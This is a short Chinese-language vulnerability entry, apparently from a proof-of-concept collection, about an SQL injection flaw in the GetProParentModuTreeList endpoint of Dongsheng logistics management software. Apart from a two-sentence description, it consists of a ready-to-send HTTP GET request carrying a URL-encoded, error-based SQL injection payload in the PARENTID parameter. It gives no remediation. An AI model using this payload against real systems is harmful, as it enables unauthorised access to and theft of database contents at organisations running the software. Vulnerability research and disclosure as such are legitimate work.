东胜物流管理软件 GetProParentModuTreeList 存在SQL注入漏洞.docx

日期: 2025-12-22 | 影响软件: 东胜物流管理软件 | POC: 已公开

漏洞描述

青岛东胜伟业软件有限公司东胜物流软件存在SQL注入漏洞，攻击者可利用漏洞获取数据库敏感信息。攻击者可通过构造恶意请求获取数据库敏感信息。

PoC代码

GET /MvcShipping/MsBaseInfo/GetProParentModuTreeList?PARENTID=%27+AND+4757+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28122%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%284757%3D4757%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28106%29%2BCHAR%28113%29%29%29+AND+%27KJaG%27%3D%27KJaG HTTP/1.1
Host:

相关漏洞推荐